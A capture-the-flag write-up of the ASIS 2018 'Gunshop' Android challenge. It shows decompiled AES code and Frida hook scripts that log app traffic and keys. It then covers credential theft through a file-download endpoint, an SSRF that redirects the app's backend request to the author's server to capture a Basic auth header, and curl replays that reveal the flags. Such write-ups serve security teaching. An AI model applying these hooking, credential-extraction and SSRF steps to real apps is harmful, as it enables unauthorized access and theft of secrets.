Android Hook by Frida— ASIS CTF Final 2018 — Gunshop Questions Walkthrough
The participants were given an APK named GunShop.apk. Opening the APK in Android showed a login page. We went on analyzing the application.
Client-Side Analysis
The application was interacting with a back-end server with an extra encryption layer (AES/ECB/PKCS5Padding).
public static String a(String str, Key key) {
Cipher instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
instance.init(1, key);
return Base64.encodeToString(instance.doFinal(str.getBytes("UTF-8")), 2);
}
The encryption and decryption functions:
public static String a(String str, Key key) {
Cipher instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
instance.init(1, key);
return Base64.encodeToString(instance.doFinal(str.getBytes("UTF-8")), 2);
}public static String b(String str, Key key) {
Cipher instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
instance.init(2, key);
return new String(instance.doFinal(Base64.decode(str, 2)), "UTF-8");
}
The end-point URL and the encryption key were also encrypted by another key which located in following paths:
/resources/assests/configKey
/resources/assests/configUrl
Analyzing the app led to discover the main key. The key was SHA-256
hash of the android application sign.
public static String a(Context context, String str) {
if (str == null) {
return null;
}
try {
PackageInfo packageInfo = context.getPackageManager().getPackageInfo(str, 64);
if (packageInfo.signatures.length != 1) {
return null;
}
return b(MessageDigest.getInstance("SHA-256").digest(packageInfo.signatures[0].toByteArray())).substring(0, 16);
} catch (NameNotFoundException e) {
return null;
} catch (NoSuchAlgorithmException e2) {
return null;
}
}
The application was also using SSL-Pin, consequently, the request couldn't be intercepted. Two approaches to solving the question:
- Hooking a function or seeking the memory to read the decrypted value of and, then replacing the encrypted values to the decrypted ones in /resources/assests/, making the decryption function to return
true
and doing nothing to files in /resources/assests/, removing the SSL-Pin and intercepting the requests. - Hooking the important functions to see the requests/responses in order to fuzz the inputs.
The second approach selected. Opening the Frida:
frida -U -l scripts.js android.gunshop.com.gunshop ✔ 3554 18:02:29
____
/ _ | Frida 12.2.25 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at http://www.frida.re/docs/home/
Attaching...
Script loaded successfully
HTTP Request
[Unknown Samsung Galaxy S6 - 5.0.0 - API 21 - 1440x2560::android.gunshop.com.gunshop]->
The Solution — Part 1
The first thing was to reveal the end-point URL. Function a(String str, String str) handles the HTTP requests:
public static String a(String str, String str2) {
String str3 = "";
HttpsURLConnection httpsURLConnection = (HttpsURLConnection) new URL(str).openConnection();
CookieManager instance = CookieManager.getInstance();
String cookie = instance.getCookie(httpsURLConnection.getURL().toString());
if (cookie != null) {
httpsURLConnection.setRequestProperty("Cookie", cookie);
}
httpsURLConnection.setSSLSocketFactory(SSLCertificateSocketFactory.getInsecure(0, null));
httpsURLConnection.setHostnameVerifier(new AllowAllHostnameVerifier());
httpsURLConnection.setReadTimeout(15000);
httpsURLConnection.setConnectTimeout(15000);
httpsURLConnection.setRequestMethod("POST");
httpsURLConnection.setDoInput(true);
httpsURLConnection.setDoOutput(true);
httpsURLConnection.connect();
if (a(httpsURLConnection, a)) {
OutputStream outputStream = httpsURLConnection.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
bufferedWriter.write(str2);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
if (httpsURLConnection.getResponseCode() != 200) {
return "";
}
List<String> list = (List) httpsURLConnection.getHeaderFields().get("Set-Cookie");
if (list != null) {
for (String cookie2 : list) {
instance.setCookie(httpsURLConnection.getURL().toString(), cookie2);
}
}
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpsURLConnection.getInputStream()));
cookie2 = str3;
while (true) {
str3 = bufferedReader.readLine();
if (str3 == null) {
break;
}
cookie2 = cookie2 + str3;
}
String headerField = httpsURLConnection.getHeaderField("X-GUN-SHOP");
if (headerField != null && !headerField.isEmpty()) {
return cookie2;
}
throw new Exception(cookie2);
}
throw new Exception("SSL Pin Error");
}
Hooking the HTTP request function by Frida:
Java.perform(function z() {
console.log("HTTP Request");
var my_class = Java.use("android.gunshop.com.gunshop.m");
my_class.a.overload('java.lang.String', 'java.lang.String').implementation = function (str, str2) {
console.log("original call: HTTP-Request(" + "input1: " + str + ", " + "input2: " + str2.toString() + ")");
var ret_value = this.a(str, str2);
console.log("return value HTTP-Request: " + ret_value + "\n\n");
return ret_value;
}
});
On the Frida console:
original call: Encrypt(input1: {"username":"utfu","password":"utfu","device-id":"3d8b0f8219c4b301"}, input2: 31323334353637383961733233343536)
return value a vDIh9PNlTJI25p/Ku4jAn4YSgjI9+J6Qnc/B9StKPo9iTsYJPBMiVAxlzvRj4VdsPZx0INmSKpvSUiDaatBnXH9gLYHmpa2f/4zycBhloeg=original call: HTTP-Request(input1: https://darkbloodygunshop.asisctf.com/startSession, input2: user_data=vDIh9PNlTJI25p%2FKu4jAn4YSgjI9%2BJ6Qnc%2FB9StKPo9iTsYJPBMiVAxlzvRj4VdsPZx0INmSKpvSUiDaatBnXH9gLYHmpa2f%2F4zycBhloeg%3D)
The end-point discovered. Opening the URL:
> GET /startSession HTTP/1.1
> Host: darkbloodygunshop.asisctf.com
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 405 METHOD NOT ALLOWED
< Server: nginx/1.10.3
< Date: Mon, 26 Nov 2018 14:28:04 GMT
< Content-Type: text/html
< Content-Length: 178
< Connection: keep-alive
< Allow: OPTIONS, POST
< Set-Cookie: session=41f3e699-c94b-488c-8298-8473bceeb28a; Expires=Thu, 27-Dec-2018 14:28:04 GMT; HttpOnly; Path=/
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
* Connection #0 to host darkbloodygunshop.asisctf.com left intact
Visiting the index:
> GET / HTTP/1.1
> Host: darkbloodygunshop.asisctf.com
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3
< Date: Mon, 26 Nov 2018 14:28:34 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 26
< Connection: keep-alive
< Set-Cookie: session=4a988c06-2872-4a90-943d-a3292bd8042c; Expires=Thu, 27-Dec-2018 14:28:34 GMT; HttpOnly; Path=/
<
* Connection #0 to host darkbloodygunshop.asisctf.com left intact
Missing parameter username
Following up the hint:
> GET /?username=test HTTP/1.1
> Host: darkbloodygunshop.asisctf.com
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3
< Date: Mon, 26 Nov 2018 14:29:11 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 46
< Connection: keep-alive
< Set-Cookie: session=c78406db-5a31-40ab-ba3d-1926c735459f; Expires=Thu, 27-Dec-2018 14:29:11 GMT; HttpOnly; Path=/
<
* Connection #0 to host darkbloodygunshop.asisctf.com left intact
username not found in users_gunshop_admins.csv
The file contained the credentials revealed through the error/debug message. Digging more Android application led to discover a relative path seemed to take the file as an input:
protected Bitmap doInBackground(String... strArr) {
Bitmap bitmap = null;
try {
return m.c(MainActivity.a + "/getFile?filename=" + strArr[0]);
} catch (Exception e) {
Log.e("Error", e.getMessage());
e.printStackTrace();
return bitmap;
}
}
Extracting the credentials:
> GET /getFile?filename=users_gunshop_admins.csv HTTP/1.1
> Host: darkbloodygunshop.asisctf.com
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3
< Date: Mon, 26 Nov 2018 14:31:28 GMT
< Content-Type: text/csv; charset=utf-8
< Content-Length: 25
< Connection: keep-alive
< Content-Disposition: attachment; filename=users_gunshop_admins.csv
< Last-Modified: Sat, 18 Aug 2018 06:44:50 GMT
< Cache-Control: public, max-age=43200
< Expires: Tue, 27 Nov 2018 02:31:28 GMT
< ETag: "1534574690.0-25-3882554259"
< Accept-Ranges: bytes
< Set-Cookie: session=c31d434a-cbd3-40ed-b7b1-4f45bc1484c8; Expires=Thu, 27-Dec-2018 14:31:28 GMT; HttpOnly; Path=/
<
alfredo,YhFyP$d*epmj9PUz
Afterward, hooking the encryption/decryption functions:
console.log("Script loaded successfully");
Java.perform(function x() {
console.log("Encryption Function Hooked");var my_class = Java.use("android.gunshop.com.gunshop.m");my_class.b.overload('java.lang.String', 'java.security.Key').implementation = function (str, key) {var b = key.getEncoded();
var printable_key = ""
for (var i = 0; i < b.length; i++) {printable_key += (b[i].toString(16) + "");}console.log("original call: Decrypt(" + "input1: " + str + ", " + "input2: " + printable_key + ")");var ret_value = this.b(str, key);
console.log("return value b " + ret_value + "\n\n");
return ret_value;
}
});
Java.perform(function y() {
console.log("Encryption Function Hooked");
var my_class = Java.use("android.gunshop.com.gunshop.m");my_class.a.overload('java.lang.String', 'java.security.Key').implementation = function (str, key) {var b = key.getEncoded();
var printable_key = ""
for (var i = 0; i < b.length; i++) {printable_key += (b[i].toString(16) + "");}console.log("original call: Encrypt(" + "input1: " + str + ", " + "input2: " + printable_key + ")");
var ret_value = this.a(str, key);
console.log("return value a " + ret_value + "\n\n");
return ret_value;
}
});
Then logging-in with the credentials revealed:
Encryption Function Hooked
Encryption Function Hooked
HTTP Request
original call: Encrypt(input1: {"username":"alfredo","password":"YhFyP$d*epmj9PUz","device-id":"3d8b0f8219c4b301"}, input2: 31323334353637383961733233343536)
return value a 0JjOmMth2l+n+Xmw3RlvcHzfA2HZbR58OvVHc4V7GcJ6LMonOfw8PBIuMrzE2zNGlsMtJTqnXEUOiTiCMQ3540kgeQbDgE0JZ973HcGaOn4eGRw0uZRx7mkZ1sxOA29Doriginal call: HTTP-Request(input1: https://darkbloodygunshop.asisctf.com/startSession, input2: user_data=0JjOmMth2l%2Bn%2BXmw3RlvcHzfA2HZbR58OvVHc4V7GcJ6LMonOfw8PBIuMrzE2zNGlsMtJTqnXEUOiTiCMQ3540kgeQbDgE0JZ973HcGaOn4eGRw0uZRx7mkZ1sxOA29D)
return value HTTP-Request: jjIDPwljJ9cUm8mLk9kbZxlSZg7Y55rtv/iHDzvQJjzBpw/nBHMFBdDOc7mSyrhB+KCIjpJWpVpQqYkK/ePVxTxuJ9D3qrNvXe2bSBT2RaoW6O+Br97cAU9Ts7shulfMNpeSxN2nOi5XH9HkUBoP6taaJV6YAVjWK+IrzLnY3zM1pCYm3R4J/KS+prKqqEEgBq+lUUOpI2lippXD+48PEEBVpbCUz7cn2UScrHO0AQ7A/SQPqmcZMkDDv2S2CYrxk9RhykMVQ+v94/5/RfIzGURkKkZ0a+zOLlzf2NZSZPvAkyPN8M0SrvGEBYtPJrgLZmapEW2uP5XOWhAZV2Oh29c63vRtwy3vBrOuy3rk12ePG0Ptdoth8okvA56bNQ1/EVBHuhWnvvRnL19Fir4pbSXqtuB50ZBR8NIUiLKS7Ve/lhB6lHA6hg2n2g/Vbvlf9dIk8VpA4vSNAdtfrJhvy+SYsTLS7mGqL+HASJxDAVD/5Ytti+o0aXTHojUI27Z6oVMgIU3x206vG9x1Gtk/QPBt4TnZz9eo0NmU7T6u+yLXEGPUtQSWncTbmBQPwVpHwqEkkxKEoXq1qkzv6+qWPJkHhrTQgt+6md1tJ0gFsO435CfAHnd/HJGsHn73SfnASKB+cmYyacajvpG2VLwk6JOnG2NINOelsWenBf4+Cokl+aY4E23d98HsvD9IfApjmyNDRhfP4mSEppDuhGVboVySfZpIdKD8qWqf/BkX+OZ+lFzqOoU+McVObhkVy/xnS/xhKHkcsoyf5tYkgcbfxbcoUh4oRbFNSzvcsEC2VxFossjFBE5vC7KXvbgDtft88fGUqTYnaV9+q3WlHSvj3CFQCsRjHBzrAMYnHVMBLM0VkSCppkSMs4CxIwG5NFO6PkJKq4L06i8T9pMs/uh9w1bIuamuafTYN8rFcH7dDMuwc5x7tEvdYZSlYTPsGvylSKHggsSRwoAdQuAPcQ5AVtzWI+Vb6U3AqXYfS3y4ys+iPwndtLlOEif3YU+j5PoiAIkdHcC6oNItRDJuga0KP4uXyr4KXT6UOfxBAKKvgXveDjWrzDirkroAF9y4ygTQe5hggEdPgd+2NcZgJ90t812F5i6/sccomd2GvX8supAqjuD4D9Xvxs9jK6vol7jbwPJFPimYn2UvJ0JfE5Y29LwL8PWVinwx2ptAIr7qC7vBD6Cb/mOgT7GHos1tqpHRoriginal call: Decrypt(input1: jjIDPwljJ9cUm8mLk9kbZxlSZg7Y55rtv/iHDzvQJjzBpw/nBHMFBdDOc7mSyrhB+KCIjpJWpVpQqYkK/ePVxTxuJ9D3qrNvXe2bSBT2RaoW6O+Br97cAU9Ts7shulfMNpeSxN2nOi5XH9HkUBoP6taaJV6YAVjWK+IrzLnY3zM1pCYm3R4J/KS+prKqqEEgBq+lUUOpI2lippXD+48PEEBVpbCUz7cn2UScrHO0AQ7A/SQPqmcZMkDDv2S2CYrxk9RhykMVQ+v94/5/RfIzGURkKkZ0a+zOLlzf2NZSZPvAkyPN8M0SrvGEBYtPJrgLZmapEW2uP5XOWhAZV2Oh29c63vRtwy3vBrOuy3rk12ePG0Ptdoth8okvA56bNQ1/EVBHuhWnvvRnL19Fir4pbSXqtuB50ZBR8NIUiLKS7Ve/lhB6lHA6hg2n2g/Vbvlf9dIk8VpA4vSNAdtfrJhvy+SYsTLS7mGqL+HASJxDAVD/5Ytti+o0aXTHojUI27Z6oVMgIU3x206vG9x1Gtk/QPBt4TnZz9eo0NmU7T6u+yLXEGPUtQSWncTbmBQPwVpHwqEkkxKEoXq1qkzv6+qWPJkHhrTQgt+6md1tJ0gFsO435CfAHnd/HJGsHn73SfnASKB+cmYyacajvpG2VLwk6JOnG2NINOelsWenBf4+Cokl+aY4E23d98HsvD9IfApjmyNDRhfP4mSEppDuhGVboVySfZpIdKD8qWqf/BkX+OZ+lFzqOoU+McVObhkVy/xnS/xhKHkcsoyf5tYkgcbfxbcoUh4oRbFNSzvcsEC2VxFossjFBE5vC7KXvbgDtft88fGUqTYnaV9+q3WlHSvj3CFQCsRjHBzrAMYnHVMBLM0VkSCppkSMs4CxIwG5NFO6PkJKq4L06i8T9pMs/uh9w1bIuamuafTYN8rFcH7dDMuwc5x7tEvdYZSlYTPsGvylSKHggsSRwoAdQuAPcQ5AVtzWI+Vb6U3AqXYfS3y4ys+iPwndtLlOEif3YU+j5PoiAIkdHcC6oNItRDJuga0KP4uXyr4KXT6UOfxBAKKvgXveDjWrzDirkroAF9y4ygTQe5hggEdPgd+2NcZgJ90t812F5i6/sccomd2GvX8supAqjuD4D9Xvxs9jK6vol7jbwPJFPimYn2UvJ0JfE5Y29LwL8PWVinwx2ptAIr7qC7vBD6Cb/mOgT7GHos1tqpHR, input2: 31323334353637383961733233343536)
return value b {"key": "3b69e03666ebba1d18a76df51a4704c2", "deviceId": "3d8b0f8219c4b301", "flag1": "ASIS{d0Nt_KI11_M3_G4NgsteR}", "list": [{"pic": "1.jpg", "id": "GN12-34", "name": "Tiny Killer", "description": "Excellent choise for silent killers."}, {"pic": "2.jpg", "id": "GN12-301", "name": "Gru Gun", "description": "A magic underground weapon."}, {"pic": "3.png", "id": "GN12-1F52B", "name": "U+1F52B", "description": "Powerfull electronic gun. Usefull in chat rooms and twitter."}, {"pic": "4.jpeg", "id": "GN12-1", "name": "HV-Penetrator", "description": "The Gun of future."}, {"pic": "5.jpg", "id": "GN12-90", "name": "Riffle", "description": "Protect your self with me."}, {"pic": "6.png", "id": "GN12-21", "name": "Gun Shop Subscription", "description": "Subscription 1 month to gun shop."}, {"pic": "7.png", "id": "GN12-1002", "name": "GunSet", "description": "A Set of weapons, useful for assassins."}]}
The Solution — Part 2
After successful log-in, several guns displayed. The application work-flow was selecting a gun, then submitting to purchase it. This flow contained two separated HTTP requests:
original call: Encrypt(input1: {"gunId":"GN12-34"}, input2: 474a-5e-21-666f-7b7174311f9-335c)
return value a d/DDO//gJN0c8Cmu9/0it2PUnxFfnfFQyiBakgTRNqY=original call: HTTP-Request(input1: https://darkbloodygunshop.asisctf.com/selectGun, input2: user_data=d%2FDDO%2F%2FgJN0c8Cmu9%2F0it2PUnxFfnfFQyiBakgTRNqY%3D)
return value HTTP-Request: 220YCO3gST2F/ew+kLfYjCcFsxqNrcpPsBxKfFAqZEhIUi9fGEs3GaOV5DiHrumezGU9mBE8fGFUVQK3k4sRGI4KqchWje52++U2gvWornu77m42QDdb3sdkkviqei01original call: Decrypt(input1: 220YCO3gST2F/ew+kLfYjCcFsxqNrcpPsBxKfFAqZEhIUi9fGEs3GaOV5DiHrumezGU9mBE8fGFUVQK3k4sRGI4KqchWje52++U2gvWornu77m42QDdb3sdkkviqei01, input2: 474a-5e-21-666f-7b7174311f9-335c)
return value b {"shop": {"name": "City Center Shop", "url": "http://188.166.76.14:42151/DBdwGcbFDApx93J3"}}original call: Encrypt(input1: {"shop":"http:\/\/188.166.76.14:42151\/DBdwGcbFDApx93J3"}, input2: 474a-5e-21-666f-7b7174311f9-335c)
return value a ahv2s2OPlVD80fZgoaLcg3K7uSJYZOllph4rAEtUkbPP4N1PriGbfeZ9nqymI1Zf3DumuFStgVvv3JRJqjONQA==original call: HTTP-Request(input1: https://darkbloodygunshop.asisctf.com/finalizeSession, input2: user_data=ahv2s2OPlVD80fZgoaLcg3K7uSJYZOllph4rAEtUkbPP4N1PriGbfeZ9nqymI1Zf3DumuFStgVvv3JRJqjONQA%3D%3D)
return value HTTP-Request: zRg8II6acb6ozVqb2agJcxxV6vKtqdIrLN2VhpKHaLP/qsH4iDhHcfvBi8vbNZCMbeH4mo6EAqjSAs9d9Seo4D1GRrYY8qqvRdlS5LkOHlCKlVOBSQNobl1JwaroWd6MzWkySfCrTyjiKBMgjPsSDQ==original call: Decrypt(input1: zRg8II6acb6ozVqb2agJcxxV6vKtqdIrLN2VhpKHaLP/qsH4iDhHcfvBi8vbNZCMbeH4mo6EAqjSAs9d9Seo4D1GRrYY8qqvRdlS5LkOHlCKlVOBSQNobl1JwaroWd6MzWkySfCrTyjiKBMgjPsSDQ==, input2: 474a-5e-21-666f-7b7174311f9-335c)
return value b {"result": "Your request submitted and will be ready as soon as possible. Thanks for shopping. Happy killing."
It took several hours to fuzz the application, it’s semi-hard without Burp-Suite since:
- After the login, new AES key was given
- The next two HTTP requests were encrypted by the new key
- The requests couldn’t be replayed twice, the application stopped working after two requests
The last request was suspicious as it had a URL:
First thing I came up with, was an SSRF attack, so I modified the scirpt.js
to replaced the URL with my server IP address:
if (str.indexOf("188.166.76.14:42151") > 0) {
str = str.replace("188.166.76.14:42151", "[MyServerIP]:80")
}
Surprisingly, I saw the following HTTP request:
POST /DBdwGcbFDApx93J3 HTTP/1.1
Host: 185.236.76.59
Connection: keep-alive
User-Agent: python-requests/2.20.1
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 42
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6username=alfredo&deviceId=3d8b0f8219c4b301
Immediately:
curl -v http://188.166.76.14:42151/DBdwGcbFDApx93J3 -d "username=alfredo&deviceId=3d8b0f8219c4b301" --insecure -H "Authorization: Basic YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6"
* Trying 188.166.76.14...
* TCP_NODELAY set
* Connected to 188.166.76.14 (188.166.76.14) port 42151 (#0)
> POST /DBdwGcbFDApx93J3 HTTP/1.1
> Host: 188.166.76.14:42151
> User-Agent: curl/7.61.1
> Accept: */*
> Authorization: Basic YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6
> Content-Length: 42
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 42 out of 42 bytes
< HTTP/1.1 200 OK
< Server: gunicorn/19.9.0
< Date: Sun, 25 Nov 2018 15:39:56 GMT
< Connection: close
< Content-Type: text/html; charset=utf-8
< Content-Length: 32
<
* Closing connection 0
ASIS{0Ld_B16_br0Th3r_H4d_a_F4rm}